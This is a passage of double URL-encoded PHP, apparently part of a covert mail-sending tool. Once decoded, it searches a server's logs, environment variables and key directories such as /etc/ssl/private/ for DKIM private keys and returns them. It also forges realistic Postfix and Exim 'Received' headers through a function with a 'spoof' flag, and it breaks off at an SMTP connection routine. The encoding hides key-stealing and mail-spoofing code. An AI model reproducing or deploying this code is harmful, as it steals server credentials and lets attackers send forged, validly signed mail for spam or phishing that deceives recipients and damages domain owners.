20%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524log_files%2520%253D%2520array%2528%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2527/var/log/mail.log%2527%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2527/var/log/syslog%2527%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2527/var/log/opendkim.log%2527%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2527/var/log/exim/mainlog%2527%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2529%253B%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520foreach%2520%2528%2524log_files%2520as%2520%2524logFile%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2540file_exists%2528%2524logFile%2529%2520%2526%2526%2520%2540is_readable%2528%2524logFile%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524logContent%2520%253D%2520%2540file_get_contents%2528%2524logFile%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2524logContent%2520%2521%253D%253D%2520false%2520%2526%2526%2520preg_match%2528%2527/loading%2520key%2520from%255Cs%252B%2528.%252A%2529/%2527%252C%2520%2524logContent%252C%2520%2524matches%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524keyPath%2520%253D%2520trim%2528%2524matches%255B1%255D%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2540file_exists%2528%2524keyPath%2529%2520%2526%2526%2520%2540is_readable%2528%2524keyPath%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524pk%2520%253D%2520%2540file_get_contents%2528%2524keyPath%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2524pk%2520%2521%253D%253D%2520false%2520%2526%2526%2520strpos%2528%2524pk%252C%2520%2527PRIVATE%2520KEY%2527%2529%2520%2521%253D%253D%2520false%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520%2524pk%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524env_vars%2520%253D%2520array%2528%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2527DKIM_PRIVATE_KEY%2527%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2527OPENDKIM_KEYFILE%2527%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2527EXIM_DKIM_KEY%2527%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2527DKIM_KEY_PATH%2527%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2527MAIL_DKIM_KEY%2527%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2529%253B%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520foreach%2520%2528%2524env_vars%2520as%2520%2524var%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524env_pk%2520%253D%2520%2540getenv%2528%2524var%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2524env_pk%2520%2526%2526%2520strpos%2528%2524env_pk%252C%2520%2527PRIVATE%2520KEY%2527%2529%2520%2521%253D%253D%2520false%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520%2524env_pk%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%2520elseif%2520%2528%2524env_pk%2520%2526%2526%2520%2540file_exists%2528%2524env_pk%2529%2520%2526%2526%2520%2540is_readable%2528%2524env_pk%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524pk%2520%253D%2520%2540file_get_contents%2528%2524env_pk%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2524pk%2520%2521%253D%253D%2520false%2520%2526%2526%2520strpos%2528%2524pk%252C%2520%2527PRIVATE%2520KEY%2527%2529%2520%2521%253D%253D%2520false%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520%2524pk%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524directories%2520%253D%2520array%2528%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2527/etc/ssl/private/%2527%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2527/etc/dkim/%2527%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2527/etc/opendkim/keys/%2527%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2527/var/lib/dkim/%2527%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2527/etc/mail/dkim/%2527%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2527/etc/exim4/dkim/%2527%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2527/etc/postfix/dkim/%2527%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2527/usr/local/etc/dkim/%2527%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2527/home/dkim/%2527%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2527/home/mail/dkim/%2527%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2527/home/user/dkim/%2527%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2527/root/dkim/%2527%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2529%253B%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520foreach%2520%2528%2524directories%2520as%2520%2524dir%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524keys%2520%253D%2520%2524this-%253Efind_key_files%2528%2524dir%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520foreach%2520%2528%2524keys%2520as%2520%2524keyPath%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524pk%2520%253D%2520%2540file_get_contents%2528%2524keyPath%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2524pk%2520%2521%253D%253D%2520false%2520%2526%2526%2520strpos%2528%2524pk%252C%2520%2527PRIVATE%2520KEY%2527%2529%2520%2521%253D%253D%2520false%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520%2524pk%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520return%2520false%253B%250D%250A%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520private%2520function%2520find_key_files%2528%2524dir%252C%2520%2524pattern%2520%253D%2520%2527/.%252A%2528dkim%257Cprivate%257Cselector%2529.%252A%255C.%2528pem%257Ckey%257Crsa%2529%2524/i%2527%2529%250D%250A%2520%2520%2520%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521%2540is_dir%2528%2524dir%2529%2520%257C%257C%2520%2521%2540is_readable%2528%2524dir%2529%2529%2520return%2520array%2528%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524files%2520%253D%2520%2540scandir%2528%2524dir%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2524files%2520%253D%253D%253D%2520false%2529%2520return%2520array%2528%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524found%2520%253D%2520array%2528%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520foreach%2520%2528%2524files%2520as%2520%2524file%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2524file%2520%253D%253D%253D%2520%2527.%2527%2520%257C%257C%2520%2524file%2520%253D%253D%253D%2520%2527..%2527%2529%2520continue%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524path%2520%253D%2520%2524dir%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2524file%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2540is_dir%2528%2524path%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524found%2520%253D%2520array_merge%2528%2524found%252C%2520%2524this-%253Efind_key_files%2528%2524path%252C%2520%2524pattern%2529%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%2520elseif%2520%2528preg_match%2528%2524pattern%252C%2520%2524file%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524found%255B%255D%2520%253D%2520%2524path%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520return%2520%2524found%253B%250D%250A%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520private%2520function%2520canonicalize_headers_relaxed%2528%2524headers%252C%2520%2524from%252C%2520%2524to%252C%2520%2524domain%252C%2520%2524force_add%2520%253D%2520true%2529%250D%250A%2520%2520%2520%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524all_headers%2520%253D%2520explode%2528%2522%255Cn%2522%252C%2520str_replace%2528%2522%255Cr%2522%252C%2520%2522%2522%252C%2520%2524headers%2529%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524needed%2520%253D%2520array%2528%2527from%2527%252C%2520%2527to%2527%252C%2520%2527subject%2527%252C%2520%2527date%2527%252C%2520%2527message-id%2527%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524found%2520%253D%2520array%2528%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524cleaned%2520%253D%2520array%2528%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524header_map%2520%253D%2520array%2528%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520foreach%2520%2528%2524all_headers%2520as%2520%2524line%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524line%2520%253D%2520trim%2528%2524line%252C%2520%2522%255Cr%255Cn%2522%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2524line%2520%253D%253D%253D%2520%2527%2527%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520continue%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524parts%2520%253D%2520explode%2528%2522%253A%2522%252C%2520%2524line%252C%25202%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528count%2528%2524parts%2529%2520%253C%25202%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520continue%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524name%2520%253D%2520strtolower%2528trim%2528%2524parts%255B0%255D%2529%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524value%2520%253D%2520preg_replace%2528%2527/%255Cs%252B/%2527%252C%2520%2527%2520%2527%252C%2520trim%2528%2524parts%255B1%255D%2529%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524cleaned_line%2520%253D%2520%2524name%2520.%2520%2522%253A%2522%2520.%2520%2524value%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524cleaned%255B%255D%2520%253D%2520%2524cleaned_line%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521in_array%2528%2524name%252C%2520%2524found%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524found%255B%255D%2520%253D%2520%2524name%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524header_map%255B%255D%2520%253D%2520%2524name%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2524force_add%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521in_array%2528%2527date%2527%252C%2520%2524found%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524cleaned%255B%255D%2520%253D%2520%2527date%253A%2527%2520.%2520%2524this-%253Eget_header_date%2528%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524header_map%255B%255D%2520%253D%2520%2527date%2527%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521in_array%2528%2527message-id%2527%252C%2520%2524found%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524cleaned%255B%255D%2520%253D%2520%2527message-id%253A%253C%2527.%2524this-%253Eget_header_message_id%2528%2524domain%2529.%2527%253E%2527%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524header_map%255B%255D%2520%253D%2520%2527message-id%2527%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521in_array%2528%2527from%2527%252C%2520%2524found%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524cleaned%255B%255D%2520%253D%2520%2527from%253A%2527.%2524from%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524header_map%255B%255D%2520%253D%2520%2527from%2527%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521in_array%2528%2527to%2527%252C%2520%2524found%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524cleaned%255B%255D%2520%253D%2520%2527to%253A%2527.%2524to%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524header_map%255B%255D%2520%253D%2520%2527to%2527%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524sign_headers%2520%253D%2520array%2528%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520foreach%2520%2528%2524needed%2520as%2520%2524n%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528in_array%2528%2524n%252C%2520%2524header_map%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524sign_headers%255B%255D%2520%253D%2520%2524n%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524canon_list%2520%253D%2520array%2528%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520foreach%2520%2528%2524cleaned%2520as%2520%2524cl%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524n%2520%253D%2520strtolower%2528substr%2528%2524cl%252C%25200%252C%2520strpos%2528%2524cl%252C%2520%2527%253A%2527%2529%2529%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528in_array%2528%2524n%252C%2520%2524sign_headers%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524canon_list%255B%255D%2520%253D%2520%2524this-%253Erelaxed_header_line%2528%2524cl%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524header_list%2520%253D%2520implode%2528%2522%253A%2522%252C%2520array_map%2528%2527ucfirst%2527%252C%2520%2524sign_headers%2529%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524final%2520%253D%2520implode%2528%2522%255Cr%255Cn%2522%252C%2520%2524canon_list%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520return%2520array%2528%2524final%252C%2520%2524header_list%2529%253B%250D%250A%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520private%2520function%2520relaxed_header_line%2528%2524line%2529%250D%250A%2520%2520%2520%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524parts%2520%253D%2520explode%2528%2522%253A%2522%252C%2520%2524line%252C%25202%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524name%2520%253D%2520strtolower%2528trim%2528%2524parts%255B0%255D%2529%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524value%2520%253D%2520%2524parts%255B1%255D%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524value%2520%253D%2520preg_replace%2528%2527/%255Cs%252B/%2527%252C%2520%2527%2520%2527%252C%2520trim%2528%2524value%2529%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520return%2520%2524name%2520.%2520%2527%253A%2527%2520.%2520%2524value%253B%250D%250A%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520private%2520function%2520canonicalize_body_relaxed%2528%2524body%2529%250D%250A%2520%2520%2520%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524body%2520%253D%2520str_replace%2528%2522%255Cr%2522%252C%2520%2522%2522%252C%2520%2524body%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524lines%2520%253D%2520explode%2528%2522%255Cn%2522%252C%2520%2524body%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524cleaned_lines%2520%253D%2520array%2528%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520foreach%2520%2528%2524lines%2520as%2520%2524l%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524l%2520%253D%2520rtrim%2528%2524l%252C%2520%2522%2520%255Ct%2522%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524cleaned_lines%255B%255D%2520%253D%2520%2524l%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520while%2520%2528count%2528%2524cleaned_lines%2529%2520%253E%25200%2520%2526%2526%2520trim%2528end%2528%2524cleaned_lines%2529%2529%2520%253D%253D%253D%2520%2527%2527%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520array_pop%2528%2524cleaned_lines%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520return%2520implode%2528%2522%255Cr%255Cn%2522%252C%2520%2524cleaned_lines%2529%2520.%2520%2522%255Cr%255Cn%2522%253B%250D%250A%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520private%2520function%2520merge_headers_with_dkim%2528%2524headers%252C%2520%2524dkim_header%2529%250D%250A%2520%2520%2520%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520return%2520%2524dkim_header%2520.%2520%2522%255Cr%255Cn%2522%2520.%2520%2524headers%253B%250D%250A%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520private%2520function%2520build_received_header%2528%2524mail_from%252C%2520%2524to%252C%2520%2524domain%2529%250D%250A%2520%2520%2520%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524parts%2520%253D%2520%2540explode%2528%2527%2540%2527%252C%2520%2524mail_from%2529%253B%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524spoof%2520%253D%2520%2524parts%255B1%255D%2520%2521%253D%2520%2524domain%253B%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524guser%2520%253D%2520%2528function_exists%2528%2522get_current_user%2522%2529%2529%2520%253F%2520%2540get_current_user%2528%2529%2520%253A%2520%2524parts%255B0%255D%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521%2524guser%2520%257C%257C%2520in_array%2528%2524guser%252C%2520array%2528%2522root%2522%252C%2522SYSTEM%2522%252C%2522nginx%2522%252C%2522apache%2522%252C%2522www-data%2522%252C%2522httpd%2522%252C%2522www%2522%2529%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524guser%2520%253D%2520%2524parts%255B0%255D%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521%2524spoof%2529%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524ip%2520%253D%2520%2528%2521empty%2528%2524_SERVER%255B%2522SERVER_ADDR%2522%255D%2529%2529%2520%253F%2520%2524_SERVER%255B%2522SERVER_ADDR%2522%255D%2520%253A%2520%2540gethostbyname%2528%2524domain%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520else%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524ip%2520%253D%2520%2540gethostbyname%2528%2524domain%2529%253B%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524ptr%2520%2520%2520%253D%2520%2524this-%253Eget_host_ptr%2528%2524ip%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521%2524ptr%2529%2520%2524ptr%2520%253D%2520%2524parts%255B1%255D%253B%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524h_arr%2520%253D%2520array%2528%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528function_exists%2528%2522srand%2522%2529%2520%2526%2526%2520function_exists%2528%2522crc32%2522%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2540srand%2528%2540crc32%2528%2524parts%255B1%255D%2529%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524h_arr%255B%255D%2520%253D%2520%2522Received%253A%2520from%2520%2524ptr%2520%2528%2524ptr%2520%255B%2524ip%255D%2529%255Cr%255Cn%2522%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520.%2522%2509by%2520%2522.%2524parts%255B1%255D.%2522%2520%2528Postfix%2529%2520with%2520ESMTP%2520id%2520%2522.strtoupper%2528%2524this-%253Egenerate_str%252813%2529%2529.%2522%255Cr%255Cn%2522%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520.%2522%2509for%2520%253C%2524to%253E%253B%2520%2522.%2524this-%253Erfc_date%2528%2529.%2522%255Cr%255Cn%2522%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520.%2522Received%253A%2520by%2520%2524ptr%2520%2528Postfix%252C%2520from%2520userid%2520%2522.rand%252810%252C99999%2529.%2522%2529%255Cr%255Cn%2522%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520.%2522%2509id%2520%2522.strtoupper%2528%2524this-%253Egenerate_str%252810%2529%2529.%2522%253B%2520%2522.%2524this-%253Erfc_date%2528%2529.%2522%255Cr%255Cn%2522%253B%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524exim%2520%2520%253D%2520%2524this-%253Erandom_exim_version%2528%2529%253B%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524h_arr%255B%255D%2520%253D%2520%2522Received%253A%2520from%2520%2524guser%2520by%2520%2524ptr%2520with%2520local%2520%2528%2524exim%2529%255Cr%255Cn%2522%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520.%2522%2509%2528envelope-from%2520%253C%2524mail_from%253E%2529%255Cr%255Cn%2522%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520.%2522%2509id%2520%2522.%2524this-%253Egenerate_str%25286%252C1%2529.%2522-0%2522.%2524this-%253Egenerate_str%25282%252C2%2529.%2524this-%253Egenerate_str%25283%252C1%2529.%2522-%2522.%2524this-%253Egenerate_str%25282%252C1%2529.%2522%255Cr%255Cn%2522%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520.%2522%2509for%2520%253C%2524to%253E%253B%2520%2522.%2524this-%253Erfc_date%2528%2529.%2522%255Cr%255Cn%2522%253B%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520return%2520%2524h_arr%255Barray_rand%2528%2524h_arr%2529%255D%253B%250D%250A%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520private%2520function%2520smtp_connect%2528%2524host%252C%2520%2524port%252C%2520%2524enc%252C%2520%2524timeout%2520%253D%252010%252C%2520%2524usesock%2520